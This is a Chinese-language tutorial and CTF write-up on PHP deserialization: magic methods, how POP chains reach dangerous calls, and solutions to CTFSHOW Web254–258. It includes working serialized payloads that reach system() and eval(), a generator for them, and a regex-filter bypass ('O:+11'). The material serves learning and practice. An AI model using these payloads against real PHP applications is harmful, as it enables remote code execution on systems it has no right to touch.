WEB攻防-第60天:PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改
目录
一、序列化与反序列化基础
1.1 什么是序列化与反序列化
二、魔术方法的生命周期
2.1 常见的魔术方法
2.2 模式方法的生命周期触发调用
2.2.1 __construct()
2.2.2 __destruct()
2.2.3 __sleep()
2.2.4 __wakeup()
2.2.5 __invoke()
2.2.6 __toString()
2.2.7 __call()
2.2.8 __callStatic()
2.2.9 __get()
2.2.10 __set()
2.2.11 __isset()
2.2.12 __unset()
2.2.13 __set_state()
2.2.14 __clone()
2.2.15 __autoload()
2.2.16 __debugInfo()
三、反序列化漏洞原理剖析
3.1 漏洞产生原理
3.2 简单案例
四、POP链
4.1 原理
4.2 典型场景
4.3 构造步骤
4.4 POP链三大核心要素
4.4.1 反序列化入口(起点)
4.4.2 危险方法(终点)
4.4.3 连接桥梁(链路)
4.4.4 POP链构造案例
五、CTFSHOW题目
5.1 Web入门254-对象引用执行逻辑
5.2 Web入门255-反序列化变量修改
5.3 Web入门256-反序列化参数修改
5.4 Web入门257-反序列化参数修改&对象调用逻辑
5.5 Web入门258-反序列化参数修改&对象调用逻辑&正则
一、序列化与反序列化基础
1.1 什么是序列化与反序列化
序列化是将对象转换为可存储/传输格式(字符串/字节流)的过程,反序列化则是将序列化后的数据还原为对象的过程。

这种机制常见于:
-
PHP:
serialize()/unserialize() -
Java:
ObjectOutputStream/ObjectInputStream -
Python:
pickle模块
// PHP序列化示例
class User {public $name = "Alice";private $age = 20;
}$obj = new User();
$ser = serialize($obj);
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userage";i:20;}$unser = unserialize($ser); // 还原为User对象
序列化serialize():对象转换为数组或字符串等格式
反序列化unserialize():将数组或字符串等格式转换成对象

在 PHP 中,serialize()函数仅对对象属性进行序列化,而不处理对象方法。它把对象属性转为字符串存入序列化结果,方便对象在文件存储、网络传输或不同请求间传递。因为方法定义在类中,类是对象模板,反序列化时 PHP 依据类重建对象并填充属性值,方法与类关联,无需序列化存储。另外,使用unserialize()反序列化时,必须提前定义好被反序列化对象所属的类,否则会报错 。
二、魔术方法的生命周期
2.1 常见的魔术方法
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用get函数
set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
_setstate(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
2.2 模式方法的生命周期触发调用
前置知识_语法解释:
- 双冒号(::):在 PHP 中,双冒号被称为范围解析操作符(Scope Resolution Operator,简称 SRO)。它主要用于访问类的静态成员(属性和方法),以及在子类中访问父类的成员。例如Example::__set_state($array); ,这里Example是类名,__set_state是类的静态方法,通过双冒号可以在类外部直接调用静态方法,而不需要先实例化类。静态方法和属性属于类本身,而不是类的某个实例,所以使用双冒号来明确是对类进行操作,而不是对类的对象进行操作。
- new关键字:用于创建类的实例(对象)。如$obj = new Example();,它会根据Example类的定义在内存中分配空间,创建一个Example类的对象,并将其赋值给变量$obj 。在创建对象的过程中,如果类中有__construct方法,会自动调用该方法进行初始化。
- unset()函数:用于销毁指定的变量。当作用于对象时,会触发对象的__destruct方法。例如unset($obj);,它会释放$obj变量所占用的内存空间,同时调用$obj所属类的__destruct方法,在该方法中可以进行一些清理工作,如关闭文件、释放数据库连接等。
- serialize()和unserialize()函数:serialize()函数将 PHP 中的变量(如对象、数组等)转换为一个字符串,以便于存储或传输;unserialize()函数则是将序列化后的字符串还原为原来的变量。在序列化和反序列化对象时,会分别触发__sleep和__wakeup魔术方法。
- 对象调用方法的语法:$obj->methodName($args); 是 PHP 中调用对象方法的标准语法。$obj是类的实例(对象),methodName是对象的方法名,$args是传递给方法的参数(可以是多个参数,用逗号分隔)。如果调用的方法不存在,会触发__call魔术方法。而对于静态方法,调用语法为ClassName::methodName($args); ,如果静态方法不存在,会触发__callStatic魔术方法。
- isset()和empty()函数:isset()函数用于检测变量是否已设置并且非NULL ,empty()函数用于检查一个变量是否为空(即""、0、"0"、NULL、FALSE、array() 以及声明但未赋值的变量都会被认为是空)。当对对象中不可访问的属性使用这两个函数时,会触发__isset魔术方法。
- var_dump()函数:用于输出变量的相关信息,包括变量的类型和值。当对对象使用var_dump()时,如果对象定义了__debugInfo方法,会调用该方法获取用于调试的信息并输出。.
- 中文乱码问题:加上header("Content-type: text/html; charset=utf-8");设置HTTP响应的头部信息,告诉浏览器当前输出的内容类型是HTML文档,并且字符集编码为UTF-8。
2.2.1 __construct()
__construct(): //构造函数,当对象new的时候会自动调用,即创建对象时调用,通常用作初始化参
<?phpheader("Content-type: text/html; charset=utf-8");class Example {public function __construct() {echo "__construct 方法被调用<br>";}
}$obj = new Example();
2.2.2 __destruct()
__destruct()://析构函数,当对象被销毁时会被自动调用,主动unset销毁或者程序结束自动销毁都会触发
class Example {public function __destruct() {echo "__destruct 方法被调用<br>";}
}$obj = new Example();
unset($obj); // 手动销毁对象,触发 __destruct 方法
2.2.3 __sleep()
执行serialize函数时,__sleep方法被调用,返回需要序列化的属性数组。
class Example {public $data = "Hello, World!";public function __sleep() {echo "__sleep 方法被调用<br>";return array('data');}
}$obj = new Example();
serialize($obj);
2.2.4 __wakeup()
在unserialize时,__wakeup方法被调用,对反序列化后的对象进行初始化操作。
class Example {public $data;public function __wakeup() {echo "__wakeup 方法被调用<br>";$this->data = "初始化数据";}
}$serialized = serialize(new Example());
$obj = unserialize($serialized);
2.2.5 __invoke()
当把对象当作函数调用时,__invoke方法被触发。
class Example {public function __invoke() {echo "__invoke 方法被调用<br>";}
}$obj = new Example();
$obj(); // 像调用函数一样调用对象,触发 __invoke 方法
2.2.6 __toString()
在将对象当作字符串使用,如echo时,__toString方法被调用。
class Example {public $data = "测试数据";public function __toString() {echo "__toString 方法被调用<br>";return $this->data;}
}$obj = new Example();
echo $obj;
2.2.7 __call()
当调用对象中不存在的方法时,__call方法被触发。
class Example {public function __call($method, $args) {echo "__call 方法被调用,调用的方法是:$method,参数是:". implode(', ', $args). "<br>";}
}$obj = new Example();
$obj->nonexistentMethod('arg1', 'arg2'); // 调用不存在的方法,触发 __call 方法
2.2.8 __callStatic()
在静态上下文中调用不存在的方法时,__callStatic方法被触发。
class Example {public static function __callStatic($method, $args) {echo "__callStatic 方法被调用,调用的静态方法是:$method,参数是:". implode(', ', $args). "<br>";}
}Example::nonexistentStaticMethod('arg1', 'arg2'); // 调用不存在的静态方法,触发 __callStatic 方法
2.2.9 __get()
当读取对象中不存在或不可访问的属性时,__get方法被调用。
class Example {private $hiddenData = "隐藏数据";public function __get($name) {echo "__get 方法被调用,获取的属性是:$name<br>";if ($name === 'hiddenData') {return $this->$name;}}
}$obj = new Example();
echo $obj->hiddenData;
2.2.10 __set()
当设置对象中不存在或不可访问的属性时,__set方法被调用。
class Example {private $hiddenData;public function __set($name, $value) {echo "__set 方法被调用,设置的属性是:$name,值是:$value<br>";if ($name === 'hiddenData') {$this->$name = $value;}}
}$obj = new Example();
$obj->hiddenData = "新值";
2.2.11 __isset()
在对不可访问的属性调用isset或empty时,__isset方法被触发。
class Example {private $hiddenData = "隐藏数据";public function __isset($name) {echo "__isset 方法被调用,检测的属性是:$name<br>";if ($name === 'hiddenData') {return isset($this->$name);}}
}$obj = new Example();
isset($obj->hiddenData);
2.2.12 __unset()
在对不可访问的属性使用unset时,__unset方法被触发。
class Example {private $hiddenData = "隐藏数据";public function __unset($name) {echo "__unset 方法被调用,删除的属性是:$name<br>";if ($name === 'hiddenData') {unset($this->$name);}}
}$obj = new Example();
unset($obj->hiddenData);
2.2.13 __set_state()
调用var_export导出类并使用__set_state还原时,__set_state方法被调用。
class Example {public $data;public static function __set_state($array) {echo "__set_state 方法被调用<br>";$obj = new self();$obj->data = $array['data'];return $obj;}
}$array = ['data' => '测试数据'];
$obj = Example::__set_state($array);
2.2.14 __clone()
当对象被复制时,__clone方法被调用。
class Example {public $data = "原始数据";public function __clone() {echo "__clone 方法被调用<br>";$this->data = "克隆后的数据";}
}$obj = new Example();
$cloneObj = clone $obj;
2.2.15 __autoload()
当尝试加载未定义的类时,__autoload方法被调用。
// 自动加载函数示例,实际应用中路径需根据项目结构调整
function __autoload($class) {echo "__autoload 方法被调用,加载的类是:$class<br>";require_once $class. '.php';
}$obj = new NonexistentClass(); // 假设 NonexistentClass 类未定义,触发 __autoload 方法
2.2.16 __debugInfo()
在打印对象调试信息,如使用var_dump时,__debugInfo方法被调用。
class Example {private $data = "调试数据";public function __debugInfo() {echo "__debugInfo 方法被调用<br>";return ['data' => $this->data];}
}$obj = new Example();
var_dump($obj);
三、反序列化漏洞原理剖析
3.1 漏洞产生原理
- 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
- 在反序列化的过程中自动触发了某些魔术方法。
- 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
3.2 简单案例
<?phpclass B{public $cmd='ipconfig';public function __destruct(){system($this->cmd);}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);?>
在这段代码中, 可以看到,当这个类的对象被销毁时,__destruct方法就会自动执行。这里__destruct方法里用system函数执行$cmd里的命令。
虽然这里没有创建对象,但是对GTE['x']反序列化,所以我们自己可以构造一个序列化的对象传进来。可以想象成我们创建一个对象,传给他,等于在这段代码new了一个对象,代码执行完,也会销毁我们传进来的对象,进而触发__destruct方法
怎么构造呢?
上面已经说过,序列化函数仅对对象属性进行序列化,所以这里只需要考虑成员属性(变量)即可
<?phpclass B{public $cmd = 'ver';}$x = new B();
echo serialize($x);?>
得到序列化 之后的值

构造 paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}
这里的乱码是因为cmd 一般默认是GBK,而我们header设置了utf-8
四、POP链
4.1 原理
POP(Property-Oriented Programming),即面向属性编程,看起来很复杂,确实很复杂,是反序列化漏洞利用中的核心技术。其核心思想是通过控制对象的属性值,引导程序执行流经过多个类的方法调用,最终触发危险操作(如代码执行、文件读写等)。
在 PHP 中,反序列化过程会自动触发一些魔术方法,如__wakeup()、__destruct()等。同时,对象的属性值可以在反序列化时被攻击者控制。攻击者利用这些特性,通过构造包含特定属性值的序列化字符串,使得反序列化后的对象在执行过程中依次调用一系列方法,最终调用到能够执行危险操作的方法。
4.2 典型场景
-
目标代码中没有直接在魔术方法中的危险操作
-
危险代码分布在多个普通类的方法中
-
需要通过属性连接多个类的方法调用
4.3 构造步骤
- 寻找危险函数:在目标代码中找出可能导致安全问题的函数,如
system()(执行系统命令)、eval()(执行 PHP 代码)等。 - 分析类和方法:查看代码中定义的类和方法,特别是魔术方法和可能被调用的普通方法,找到能够调用危险函数的方法。
- 构建调用链:将不同类的方法和属性关联起来,形成一条从反序列化触发的魔术方法开始,最终调用到危险函数的调用链。
- 构造序列化数据:根据构建好的调用链,创建相应的对象,并将对象的属性设置为合适的值,然后将对象序列化,得到恶意的序列化字符串。
4.4 POP链三大核心要素
4.4.1 反序列化入口(起点)
-
触发点:
unserialize()函数 -
触发条件:反序列化后的对象会触发某些魔术方法
// 常见触发点 __destruct() // 对象销毁时触发 __wakeup() // 反序列化完成后触发 __toString() // 对象被当作字符串使用时触发
4.4.2 危险方法(终点)
-
包含可被利用的关键操作:
eval()、system() // 代码执行 file_put_contents() // 文件写入 unserialize() // 二次反序列化
4.4.3 连接桥梁(链路)
-
通过对象属性连接多个方法调用:
graph LR A[__destruct] -->|调用| B[ClassA->method1()] B -->|属性传递| C[ClassB->method2()] C -->|属性传递| D[ClassC->dangerMethod()]

4.4.4 POP链构造案例
下面举一个简单的案例,也是理想情况下服务端存在中间类,注意这里方便测试理解,使用的都是public属性,一般使用的都是私有属性
<?php
// 服务端代码
class Logger {public $handler; // 修改为public以便更容易测试,但在实际场景中应保持private并添加适当的setterpublic function __construct() {$this->handler = new FileHandler();}public function __destruct() {$this->handler->log(); // 触发点}
}class FileHandler {public $filename = 'log.txt';public function log() {echo $filename;}
}class Exploit {public $rce;public function log() {$this->rce->execute();}
}class RCE {public $cmd;public function execute() {system($this->cmd);}
}// 客户端输入处理
$data = $_GET['payload'];
unserialize($data);
?>
攻击目标
通过反序列化触发RCE::execute()执行任意命令(如ver)。
POP链构造分析
步骤1:寻找调用路径
-
起点:
Logger::__destruct()必须调用log()方法 -
终点:
RCE::execute()需要被触发 -
缺失的桥梁:需要一个中间类将
log()与execute()连接
需要把$this->handler->log();换成$this->handler->RCE::execute();
class Exploit {public $rce;public function log() {$this->rce->execute();}
}
可以看到Exploit中基调用了log方法,也调用execute方法,其实他就是中间桥梁
可以想象一下,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法
而Logger 因为__desturct方法必然会调用log,这就可以形成一个完整的调用链了
步骤2:逆推调用路径
1.把上面分析要用到的类和属性拷贝一份,也就是需要执行execute的终点类RCE,中间类Exploit,起点类Logger
<?php
class RCE {public $cmd;
}class Exploit {public $rce;
}class Logger {public $handler;
}
2.逆推调用关系
- 首先从终点逆推,所以先创建一个RCE对象,并设置需要执行的命令,此时服务器反序列化就会得到一个cmd=‘ver’的对象
- 根据上面分析我们知道Exploit是一个中间桥梁,
$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法,所以创建Exploit的对象,然后把$rce指向上面创建带有恶意代码执行的RCE对象 - 最后Logger的$this->handler再指向Exploit对象,就形成了完整的调用链,把Logger序列化就得到了payload
完整调用链:
代码结束触发:Logger->handler->log
Logger->handler指向Exploit对象
调用Exploit对象的log方法
Exploit对象的log方法调用rce->execute
而rce执行的是RCE对象
最终调用RCE对象的execute方法
套娃......
$rce = new RCE();
$rce->cmd = 'ver';$exploit = new Exploit();
$exploit->rce = $rce;$logger = new Logger();
$logger->handler = $exploit;$payload = serialize($logger);
echo $payload;
完整POP链代码
<?php
class RCE {public $cmd = 'ver';
}class Exploit {public $rce;
}class Logger {public $handler;
}$rce = new RCE();
$exploit = new Exploit();
$exploit->rce = $rce;$logger = new Logger();
$logger->handler = $exploit;$payload = serialize($logger);
echo $payload;
?>
payload:?payload=O:6:"Logger":1:{s:7:"handler";O:7:"Exploit":1:{s:3:"rce";O:3:"RCE":1:{s:3:"cmd";s:3:"ver";}}}
大概就是这么个情况,下面ctfshow进一步了解下
五、CTFSHOW题目
5.1 Web入门254-对象引用执行逻辑
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
我个人习惯 从执行代码去链接调用的函数去分析
- 首先判断了是否传入username和password,有才进入if,所以password和username一定要传值
- $user是一个ctfShowUser对象
- 判断user对象下的login方法,这个时候去看login方法的逻辑,检查传入的username和password是否和定义的xxxxxx一致,如果一致让isVip等于ture
- 然后判断isVip等于ture就执行user下的
vipOneKeyGetFlag,在这个方法中也是判断isVip等于ture就输出flag - 根据3,就可以知道只需要传入username和password,并等于xxxxxx就可以让isVip等于ture
这道题没有涉及序列化,应该是让大家了解调用链的

5.2 Web入门255-反序列化变量修改
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
- 可以看到 同样是需要传入username和password,通过cookie接收user并反序列化,注意cookie传入对象序列化需要URL编码,
unserialize($_COOKIE['user']); login的登录逻辑也是判断username和password等于xxxxxx然后检查checkVip,但checkVip直接返回isVip,也就是初始值flase,所以需要让其等于true才可以调用vipOneKeyGetFlag获取flag- 所以直接序列化操作属性即可
同样的把关键类和属性拷贝,然后修改属性,序列化,然后url编码就行
<?php
class ctfShowUser{public $isVip=true;
}$c = new ctfShowUser();echo urlencode(serialize($c));
未编码:O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
url编码后:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

5.3 Web入门256-反序列化参数修改
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
和上一关没太大区别,就是修改username和password不相等就行
<?php
class ctfShowUser{public $username='test';public $password='testtest';public $isVip=true;
}$c = new ctfShowUser();echo urlencode(serialize($c));
payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A8%3A%22testtest%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

不知道为啥hackbar穿不了cookie,但是上一题可以,知道的可以告诉我
5.4 Web入门257-反序列化参数修改&对象调用逻辑
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}
如果理解上面pop链的内容的话,这道题应该是易如反掌,因为原理是一样的,把执行的代码写入backDoor对象,然后把info对象换成backDoor对象就可以了
<?php
class ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac flag.php");';}
$c = new ctfShowUser();
echo urlencode(serialize($c));
?>
可能有人会疑问,序列化不是不能处理方法吗,这个构造函数是特殊方法,在new的时候就执行了,这里主要是为了给$class赋值的,也可以不这么写,直接new了之后复制,如:
<?php
class ctfShowUser{public $class;
}
class backDoor{public $code='system("tac flag.php");';}
$c = new ctfShowUser();
$c->class = new backDoor();
echo urlencode(serialize($c));
?>
通过构造函数生成的:
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}
直接赋值生成的:
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}
可以看到是一样的

5.5 Web入门258-反序列化参数修改&对象调用逻辑&正则
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}
和上一题一样,只是过滤了O: 后面不能直接跟数字,我们可以给数字前面写个+,代表有符合正11,并没改变原意
上一题的payload:O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}
修改后
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}
代码如下:把O:替换为O:+即可
<?php
class ctfShowUser{public $class;
}
class backDoor{public $code='system("tac flag.php");';}
$c = new ctfShowUser();
$c->class = new backDoor();
$payload = serialize($c);
$payload = str_replace('O:', 'O:+', $payload);
echo urlencode($payload);
?>

相关文章:
WEB攻防-第60天:PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改
目录 一、序列化与反序列化基础 1.1 什么是序列化与反序列化 二、魔术方法的生命周期 2.1 常见的魔术方法 2.2 模式方法的生命周期触发调用 2.2.1 __construct() 2.2.2 __destruct() 2.2.3 __sleep() 2.2.4 __wakeup() 2.2.5 __invoke() 2.2.6 __toS…...
STM32硬件SPI函数解析与示例
1. SPI 简介 SPI(Serial Peripheral Interface)即串行外设接口,是一种高速、全双工、同步的通信总线,常用于微控制器与各种外设(如传感器、存储器等)之间的通信。STM32 系列微控制器提供了多个 SPI 接口&a…...
如何设置Python爬虫的User-Agent?
在Python爬虫中设置User-Agent是模拟浏览器行为、避免被目标网站识别为爬虫的重要手段。User-Agent是一个HTTP请求头,用于标识客户端软件(通常是浏览器)的类型和版本信息。通过设置合适的User-Agent,可以提高爬虫的稳定性和成功率…...
二、交换机的vlan子设备接入
一、交换机的vlan设置-CSDN博客 二、交换机的vlan子设备接入-CSDN博客 接上篇的文章,本文接入了子设备 网络结构如下: 用路由器A和POE交换机B代替第一篇中的笔记本电脑,路由器A和交换机B都关闭DHCP服务,并分别接入一个IPC&#…...
Spring IoC的实现机制是什么?
大家好,我是锋哥。今天分享关于【Spring IoC的实现机制是什么?】面试题。希望对大家有帮助; Spring IoC的实现机制是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Spring IoC(Inversion of Control…...
配置mysql8.0使用PXC实现高可用。
准备好下面三台服务器 cat >> /etc/hosts << EOF 192.168.1.11 pxc1 192.168.1.12 pxc2 192.168.1.13 pxc3 EOF 三台服务器同时进行,下载安装包 [rootlocalhost ~]#yum module disable mysql [rootlocalhost ~]#yum ins…...
对openharmony HDF驱动框架的C/S设计模式和单例类的说明
在分析openharmony的HDF驱动框架时我们会发现用了很多面向对象的思想,例如类继承、接口、单例类等,本来应该是好事情,**但使用时对象之间的关系交错复杂,不太符合linux内核分层分模块的思路,导致整体理解起来比较困难&…...
联合汽车电子嵌入式面试题及参考答案
所使用的板子 Flash 内存是多少,单位 b 指的是 byte 还是 bit? 不同的嵌入式板子具有不同的 Flash 内存容量。常见的有几 KB 到几 MB 甚至更大。比如一些小型的单片机开发板可能只有几 KB 的 Flash,如 AT89C51 单片机的 Flash 一般为 4KB,这里的 KB 是指千字节(kilobyte)…...
Vue 2 路由指南:从基础到高级
注意:对于代码看不清的部分,用鼠标选中就能看到了,背景颜色和字体颜色过于接近,我也不知道怎么调,只能这样子先看着了 一、Vue Router 是什么? Vue Router 是 Vue.js 官方的路由管理器,它允许…...
vue学习10
1.GPT和Copilot Copilot Tab接受 删除键,不接受 ctrlenter更多方案 更适合的是修改方向 const submitForm async () > {//等待校验结果await formRef.value.validate()//提交修改await userUpdateInfoService(form.value)//通知user模块,进行数据更…...
WebSocket 握手过程
文章目录 1. WebSocket 握手过程概述2. 客户端发送握手请求3. 服务器响应握手请求4. 客户端验证握手响应5. 建立 WebSocket 连接6. 安全性与注意事项7. 应用示例 在现代 Web 开发中,WebSocket 协议因其高效的实时通信能力而被广泛应用。WebSocket 允许客户端和服务器…...
如何正确安装Stable Diffusion Web UI以及对应的xFormers
本文是我总结的步骤,验证了几次保证是对的。因为正确的安装 Stable Diffusion Web UI 以及对应的 xFormers 实在是太麻烦了,官方和网上的步骤都是残缺和分散的,加上国内网络速度不理想,所以需要一些额外步骤,之前研究出…...
图形渲染(一)——Skia、OpenGL、Mesa 和 Vulkan简介
1.Skia —— 2D 图形库 Skia 是一个 2D 图形库,它的作用是为开发者提供一个高层次的绘图接口,方便他们进行 2D 图形渲染(比如绘制文本、形状、图像等)。Skia 本身不直接管理 GPU 或进行底层的渲染工作,而是通过 底层图…...
从源代码编译构建vLLM并解决常见编译问题
源代码构建vLLM 前言构建vLLM异常问题异常1异常2异常3 构建成功 前言 在通过创建全新虚拟环境条件下,使用pip install vllmx.x.x.方式安装VLLM后,遇到了VLLM使用方面的异常,经过多种方式尝试解决,最终无果。 仔细查看官方文档后&…...
SQL-leetcode—1683. 无效的推文
1683. 无效的推文 表:Tweets ----------------------- | Column Name | Type | ----------------------- | tweet_id | int | | content | varchar | ----------------------- 在 SQL 中,tweet_id 是这个表的主键。 content 只包含美式键盘上的字符&am…...
轻量级TinyXml2的应用
TinyXml2库基本介绍 TinyXML2 是 simple、small、efficient 的基于DOM (Document Object Model,文档对象模型) 的开源 C XML文件解析库,可以很方便地应用到现有的项目中 。目前,TinyXML1 开发已经停止,所有…...
DeepSeek正重构具身大模型和人形机器人赛道!
中国人工智能公司DeepSeek(深度求索)以“低成本、高效率、强开放”的研发范式横空出世,火遍并震撼全球科技圈;DeepSeek展现出来的核心竞争力,除了低成本及推理能力,更重要的是开源模型能力追赶上了最新的闭…...
centos7 升级openssl并安装python3
参考文章:https://www.cnblogs.com/chuanzhang053/p/17653635.html 卸载已有版本 yum remove -y openssl openssl-devel下载1.1版本 wget https://www.openssl.org/source/openssl-1.1.1v.tar.gztar -zxf openssl-1.1.1v.tar.gz 查看openssl.conf文件的目录 fin…...
Linux库制作与原理:【静态库】【动态库】【目标文件】【ELF文件】【ELF从形成到假造轮廓】【理解链接和加载】
目录 一.什么是库 二.静态库 2.1创建静态库 我们在之前的路径下新建lib使用我们自己的库 2.2 使用makefile生成静态库 三.动态库 3.1动态库生成 3.2动态库使用 3.3库运行搜索路径 四.目标文件 五.ELF文件 六.ELF从形成到加载轮廓 6.1ELF形成可执行 6.2 ELF可执行文…...
2025前端面试题
2025前端面试题 uniappuniapp如何打包发版到线上 vuekeep-alive 有哪几个生命周期vue3构建项目vue如何封装组件vue2的响应式原理vue3的响应式原理vue3和2的区别Vuex中的重要核心属性有哪些?Vue-router有哪几种路由守卫 es6数组去重的方法slice与splice的区别数组有哪…...
Win7本地化部署deepseek-r1等大模型详解
参考链接 在Windows 7操作系统,基于llama.cpp本地化部署 deepseek-r1模型的方法 2025-02-08 2G内存Windows7运行deepseek-r1:1.5b 这两个链接写的可能不够详细,有同学私信问实现过程,这里进一步解释一下。 一、准备 需要准备的大模型、工具…...
【ubuntu24.04】 强制重启导致大模型的磁盘挂载出错
挂载NTFS文件系统出错 各种模型放在了这个机械硬盘上,虽然速度慢,但是好在容量大。大模型在工作,但是程序看起来有问题,导致系统卡死了,然后我重启了,然后报错:wrong fs type bad option &…...
Spring Boot(8)深入理解 @Autowired 注解:使用场景与实战示例
搞个引言 在 Spring 框架的开发中,依赖注入(Dependency Injection,简称 DI)是它的一个核心特性,它能够让代码更加模块化、可测试,并且易于维护。而 Autowired 注解作为 Spring 实现依赖注入的关键工具&…...
【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用
【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用 【承接商业广告,如需商业合作请+v17740568442】 文章目录 【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用个人配置详情一、安装ollama二、下载deepseek版本…...
【AI大模型】Ollama部署本地大模型DeepSeek-R1,交互界面Open-WebUI,RagFlow构建私有知识库
